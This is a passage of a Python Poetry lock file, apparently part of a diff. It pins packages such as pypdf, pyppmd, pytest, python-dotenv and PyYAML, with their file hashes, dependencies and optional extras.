(!=5.2.0,!=5.2.0.post0)", "sphinx-rtd-theme"] +test = ["flaky", "pretend", "pytest (>=3.0.1)"] + +[[package]] +name = "pypdf" +version = "3.8.1" +description = "A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pypdf-3.8.1-py3-none-any.whl", hash = "sha256:0c34620e4bbceaf9632b6b7a8ec6d4a4d5b0cdee6e39bdb86dc91a8c44cb0f19"}, + {file = "pypdf-3.8.1.tar.gz", hash = "sha256:761ad6dc33abb78d358b4ae42206c5f185798f8b537be9b8fdecd9ee834a894d"}, +] + +[package.extras] +crypto = ["PyCryptodome"] +dev = ["black", "flit", "pip-tools", "pre-commit (<2.18.0)", "pytest-cov", "wheel"] +docs = ["myst_parser", "sphinx", "sphinx_rtd_theme"] +full = ["Pillow", "PyCryptodome"] +image = ["Pillow"] + +[[package]] +name = "pyppmd" +version = "1.0.0" +description = "PPMd compression/decompression library" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pyppmd-1.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8049c19af4b78b400b2347bff4514763257b55516c359144e9d8091991ed12e8"}, + {file = "pyppmd-1.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1c0fd06aaf782e65b7b5bbc47f8a9dbe050c1ba18474ccbe0a2b37f57a8d8c72"}, + {file = "pyppmd-1.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e17b08a5c283faf48b4ee888f8fa53f919cd8afd0930eae4d59f719f6be519fb"}, + {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:71f994f281439705cb04c497adc2863551fa5813606af6fb26c673a44a36c4e3"}, + {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31a09fd1b10518342ff442b57dd8c890b9bfea6bbdbb785c729f0d139092e42e"}, + {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca6a926d229a6dbf2ccdb0d4e692d81ff927459b59a1cec14ef522522df6d757"}, + {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:6279f1c4b6aefacb95df49db2f2e232530592d1849c37b73478a4f26eb405d12"}, + {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:f7a1b08612627d5280ef2dad1fadb0b1a10c70df0c484f9091eff5fab5e4c84e"}, + {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:3ecb83e0cc92960f959111518ea208b51a58e8cc303ff959e9cd2cc56dd36a63"}, + {file = "pyppmd-1.0.0-cp310-cp310-win32.whl", hash = "sha256:703c4fbc9b5e1454f403fb1d6b4a6c4c729f72eef14690146deecd2166429d6d"}, + {file = "pyppmd-1.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:6e2f5ff5071e4e43c92065f383753d4ad59778816485a01ee7b29e2a1ff48140"}, + {file = "pyppmd-1.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7e8d3c309061ae7fb40e4a26d30f8982b367abc562b9b8621cb79932cb3b94d9"}, + {file = "pyppmd-1.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5805c73590fb8f0ceb3e6cb115774b66a6f4700ae84b31d962ad69667e05dfbd"}, + {file = "pyppmd-1.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6a0c524be57698fe61fff893d485a9af21e6bc0aa2d385b71a63ff951921d4b6"}, + {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18d7cf4d0a9ced96ff1fa44de9ee3d65f5b06278c8f9a61c3edeb660f12f146b"}, + {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:61acfeee5ed59796037499119edd3159bf6b8c5fcaef17e295a2ca4103112d60"}, + {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8dbe3076fe20c4d65cb1d1b51eeb17a1c177402b83100017a55daad888e198e"}, + {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3bc75ed4e969b09fd1a766dd79cb3d5efe56edc11c86ac0b357b5648c7181ce2"}, + {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:024f714ebb8ddf59dae164adc3c220c24555d470f4adb5bd022abc50298cfff3"}, + {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7ae419f71afa88784d53dd2449882af982bbd0328fa22a7e6a339221f3143918"}, + {file = "pyppmd-1.0.0-cp311-cp311-win32.whl", hash = "sha256:8680008b1b1e9e77f3337a1a53c1b32541cac9f93f79ae12d34de050585999ac"}, + {file = "pyppmd-1.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:a5fbec6f39a307818593508d8623d9328baf494137d191fc98e11f47e058ceee"}, + {file = "pyppmd-1.0.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:a7240c00083527cf0b1bbdc92f6967e522efb9ad6968c953be174c390b091b3e"}, + {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cfb716a4a07ccbef84ed9fc31d012cef3b38404a6510e24d307cf64025999b21"}, + {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12be01e919a34c6944568592b35451acf7c98ed18e005bb4b1c046ed520aff7f"}, + {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d90d87377d83d909eafbf23301057fe16e6662c98ffea738159a234d9000a68"}, + {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:12a783a0e3c76484a1bc93783867a36ab9a60de5b5298d57c9fe7348e848346e"}, + {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:b6b6c01e46fcf785ad6c272be400ebcbcb434a1d91150614e10de8cc569b8bff"}, + {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:385a0b1341ebdfd7cb101c43eea130546830073c01bdb5036bca45c033ee633e"}, + {file = "pyppmd-1.0.0-cp36-cp36m-win32.whl", hash = "sha256:b8eee08c615ae9edd7bf1f214a377cac3d27417f22112685e581d4bab43029b0"}, + {file = "pyppmd-1.0.0-cp36-cp36m-win_amd64.whl", hash = "sha256:0e9c001719527dbafdd7fd8709b98bd63c173451c2eddbaa77abf62486a13da0"}, + {file = "pyppmd-1.0.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5847c47127ff9ea323f5910c62b9f136c3fab181a5144bfe72be13f051047357"}, + {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63ddd5a81d6aaed9373cd9fc4de9529f10fa052aaf064ab283dc6218418cc5b5"}, + {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:706d33cec3601d894f8a4a158bc652b7a3f01cd9e92c2da5d8711efeb9755835"}, + {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:07e067e114f05918c8a4ab1fa6a070e2c7a9e497aa73fbf6d87a90e7a6e62a57"}, + {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:cecf0859b461bcf04439f32bcfb6e081016fa6204c92b5950d19d248fd1aad6b"}, + {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:47ea218f7dfa94d15286c25d60db3091db1082ba958fa0a32ccaaaeaca7fc712"}, + {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:f751882dd529328ca43af8018f79cdd02ed707fcda30a2fa9acb1ee5c48261a6"}, + {file = "pyppmd-1.0.0-cp37-cp37m-win32.whl", hash = "sha256:18f863d58c4451e00765137be731c2b2150aff829468f59de4169e052429e1fd"}, + {file = "pyppmd-1.0.0-cp37-cp37m-win_amd64.whl", hash = "sha256:05950d8a39fd9bf6c64572d69a6dd0a1af3fadf8d4a2a0bb62f5b04c0a618300"}, + {file = "pyppmd-1.0.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5331a7780d3444d7029e15e68385c94d6a26f688c1e87a5a9ee2e836ea6e4559"}, + {file = "pyppmd-1.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:62f970173baf80aad9472c7c6edca4a021ae7965174b1c5d6f400c9571e92efc"}, + {file = "pyppmd-1.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ccdfc8b2a1d73b2186850b9a5bd96106d5fd4419a620d344b0ab8bf630680cf8"}, + {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a63adeeb9dc4afd6d377ac1c9801f9539f9a81430e9c96d332023bf2ad6c04a1"}, + {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca8a842b4ff671642b63ed4edd4e1ff7dc0ba0a7af4135758233f056ab992fca"}, + {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1aeba466617cf975cd6719070ca9721bcd83a1a84bd8cf74c3a2808724481e"}, + {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b0a87399ade5820f787758449976e758604c7739eb5f79ed9e594b5fa3a6a1bc"}, + {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:74bd56b165283bb5586ff9ac7a896b217b3c94effe144b768279807840142bb4"}, + {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:ea4b1a326afe2055304740a03a233f7389f615179b9f6377264b306f619bfb11"}, + {file = "pyppmd-1.0.0-cp38-cp38-win32.whl", hash = "sha256:d2c3c16f644afb1b3caa4f6c717682030f7c3f54a12af8b1416b21877f0b5226"}, + {file = "pyppmd-1.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:a7f83970a057157c88d4a53a40431d07d8d3f38029ad2eae621422f955bd243b"}, + {file = "pyppmd-1.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:93d0d6ed97046ce25d64427ec493e06c23f32838972258bf11d603c9c998d6b3"}, + {file = "pyppmd-1.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1658714d012a5f9a8a3e67f3a9ede3519a2558064ccbd3163c39aca0cfd2412b"}, + {file = "pyppmd-1.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ab4e29f774e064af09baf8478acd967684524e566b78fcc4f6f669757f0a2ab5"}, + {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cd227b8c292ac43d3297a91055fab51c27894dba39d04ccc774a72d9e6f85752"}, + {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68184b7246ea73a92a764e16cc18b74ccf3c8d6bfc438bbace57aeb1914118a7"}, + {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8aafe6fc436a782e6d424a0ac00de08a1559b6d6ddd08031adbe791ff4e54c90"}, + {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bae08176e0d3ed0a5cbd838ff1ac557dfa088a652af633ab1905ab35bb9d7bc4"}, + {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:c60031de93834e5cd262db4b27272101d04a9a18c4cc49f81d483221211a97c8"}, + {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:aee9c52a6f232f3f7c683b87213aa3a9eacd281ab31187e784290ba1c05024fe"}, + {file = "pyppmd-1.0.0-cp39-cp39-win32.whl", hash = "sha256:2858471a291b51fab49242d78bd67c2b7719368618a02e4aa995de8c855da73c"}, + {file = "pyppmd-1.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:1ec00b07c6b68feb402d6596f3575a7892ad69e4f455deee7b5301df703e60dd"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ac19ec1b6e3a0aadc1537466f537017189373593e23fe254df050fdd01f4a722"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10c8a41093952cde52b6d89488dc601ee7b10f6c95c430488f68987393777b46"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3ea6a0d26db17027805a804d013cf761d732df5bce9d6b314cd1c727fe347277"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2c31e5b331923f3b3b2cfbc66a60ecfd73db1a19a646bd1faf25bfde709a80d0"}, + {file = "pyppmd-1.0.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:f488164e8876d213b0627a7a6cb798081eaf84fd9ec6dde5a1668296b15e1a6c"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6059ea0c9acc3b52b2961412ac75d1da72656f8b69bb8fc3d92eec6776176011"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aadc63d0ac83f8c5744eb34ea47a70ff7bfab519b293482d7ccb09946c374dc7"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09668aa43e4f02b8725e6233dfc66e532c72f0e69fa1b34dd814a9f7200e0496"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f79ebcd7312b541d3520e1a0d4c362731e24403e2f9f6761679b2ad819d5c706"}, + {file = "pyppmd-1.0.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:556b6a3af3fca2b41ca25f51c481e5df8df4da842fc5a567da7bb099cfa52423"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f9a3782f5accab4186d68c86defc61fcc7d0146e9cdc5b54e18656852c71db16"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d5c6c40f15b9fdea10bf966e5b07ee0a0ebcb8cf188ed9a466029c894816b303"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8a90b98f9d501eaedaca4d0e82f9e771bd2d780d71effcdeacc9fc6180a00e07"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f8a3b9192714b3e4773fc49c100ca13defa2502cb38e56205eb5a131ccf555d"}, + {file = "pyppmd-1.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7f1e7a1747518b5822eb755f3715d88bd1459e24de828aed86b7c1aa35e3ed76"}, + {file = "pyppmd-1.0.0.tar.gz", hash = "sha256:075c9bd297e3b0a87dd7aeabca7fee668218acbe69ecc1c6511064558de8840f"}, +] + +[package.extras] +check = ["check-manifest", "flake8", "flake8-black", "isort (>=5.0.3)", "mypy (>=0.812)", "mypy-extensions (>=0.4.3)", "pygments", "readme-renderer"] +docs = ["sphinx (>=2.3)", "sphinx-rtd-theme"] +fuzzer = ["atheris", "hypothesis"] +test = ["coverage[toml] (>=5.2)", "hypothesis", "pytest (>=6.0)", "pytest-benchmark", "pytest-cov", "pytest-timeout"] + +[[package]] +name = "pyright" +version = "1.1.304" +description = "Command line wrapper for pyright" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pyright-1.1.304-py3-none-any.whl", hash = "sha256:70021bbae07fc28ed16e435f5efa65cd71e06a1888d9ca998798c283d4b3d010"}, + {file = "pyright-1.1.304.tar.gz", hash = "sha256:87adec38081904c939e3657ab23d5fc40b7ccc22709be0af1859fc785ae4ea61"}, +] + +[package.dependencies] +nodeenv = ">=1.6.0" + +[package.extras] +all = ["twine (>=3.4.1)"] +dev = ["twine (>=3.4.1)"] + +[[package]] +name = "pytest" +version = "7.3.1" +description = "pytest: simple powerful testing with Python" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-7.3.1-py3-none-any.whl", hash = "sha256:3799fa815351fea3a5e96ac7e503a96fa51cc9942c3753cda7651b93c1cfa362"}, + {file = "pytest-7.3.1.tar.gz", hash = "sha256:434afafd78b1d78ed0addf160ad2b77a30d35d4bdf8af234fe621919d9ed15e3"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "sys_platform == \"win32\""} +iniconfig = "*" +packaging = "*" +pluggy = ">=0.12,<2.0" + +[package.extras] +testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"] + +[[package]] +name = "pytest-asyncio" +version = "0.20.3" +description = "Pytest support for asyncio" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-asyncio-0.20.3.tar.gz", hash = "sha256:83cbf01169ce3e8eb71c6c278ccb0574d1a7a3bb8eaaf5e50e0ad342afb33b36"}, + {file = "pytest_asyncio-0.20.3-py3-none-any.whl", hash = "sha256:f129998b209d04fcc65c96fc85c11e5316738358909a8399e93be553d7656442"}, +] + +[package.dependencies] +pytest = ">=6.1.0" + +[package.extras] +docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1.0)"] +testing = ["coverage (>=6.2)", "flaky (>=3.5.0)", "hypothesis (>=5.7.1)", "mypy (>=0.931)", "pytest-trio (>=0.7.0)"] + +[[package]] +name = "pytest-mock" +version = "3.10.0" +description = "Thin-wrapper around the mock package for easier use with pytest" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-mock-3.10.0.tar.gz", hash = "sha256:fbbdb085ef7c252a326fd8cdcac0aa3b1333d8811f131bdcc701002e1be7ed4f"}, + {file = "pytest_mock-3.10.0-py3-none-any.whl", hash = "sha256:f4c973eeae0282963eb293eb173ce91b091a79c1334455acfac9ddee8a1c784b"}, +] + +[package.dependencies] +pytest = ">=5.0" + +[package.extras] +dev = ["pre-commit", "pytest-asyncio", "tox"] + +[[package]] +name = "python-dateutil" +version = "2.8.2" +description = "Extensions to the standard Python datetime module" +category = "main" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +files = [ + {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, + {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "python-dotenv" +version = "1.0.0" +description = "Read key-value pairs from a .env file and set them as environment variables" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "python-dotenv-1.0.0.tar.gz", hash = "sha256:a8df96034aae6d2d50a4ebe8216326c61c3eb64836776504fcca410e5937a3ba"}, + {file = "python_dotenv-1.0.0-py3-none-any.whl", hash = "sha256:f5971a9226b701070a4bf2c38c89e5a3f0d64de8debda981d1db98583009122a"}, +] + +[package.extras] +cli = ["click (>=5.0)"] + +[[package]] +name = "python-magic" +version = "0.4.27" +description = "File type identification using libmagic" +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "python-magic-0.4.27.tar.gz", hash = "sha256:c1ba14b08e4a5f5c31a302b7721239695b2f0f058d125bd5ce1ee36b9d9d3c3b"}, + {file = "python_magic-0.4.27-py2.py3-none-any.whl", hash = "sha256:c212960ad306f700aa0d01e5d7a325d20548ff97eb9920dcd29513174f0294d3"}, +] + +[[package]] +name = "python-multipart" +version = "0.0.6" +description = "A streaming multipart parser for Python" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "python_multipart-0.0.6-py3-none-any.whl", hash = "sha256:ee698bab5ef148b0a760751c261902cd096e57e10558e11aca17646b74ee1c18"}, + {file = "python_multipart-0.0.6.tar.gz", hash = "sha256:e9925a80bb668529f1b67c7fdb0a5dacdd7cbfc6fb0bff3ea443fe22bdd62132"}, +] + +[package.extras] +dev = ["atomicwrites (==1.2.1)", "attrs (==19.2.0)", "coverage (==6.5.0)", "hatch", "invoke (==1.7.3)", "more-itertools (==4.3.0)", "pbr (==4.3.0)", "pluggy (==1.0.0)", "py (==1.11.0)", "pytest (==7.2.0)", "pytest-cov (==4.0.0)", "pytest-timeout (==2.1.0)", "pyyaml (==5.1)"] + +[[package]] +name = "pyyaml" +version = "6.0" +description = "YAML parser and emitter for Python" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"}, + {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"}, + {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"}, + {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"}, + {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"}, + {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"}, + {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"}, + {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"}, + {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"}, + {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"}, + {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"}, + {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"}, + {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"}, + {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"}, + {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"}, + {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"}, + {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"}, + {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"}, +] + +[[package]] +name = "pyzstd" +version = "0.15.7" +description = "Python bindings to Zstandard (zstd) compression library, the API style is similar to Python's bz2/lzma/zlib modules." +category = "main" +optional = false +python-versions = 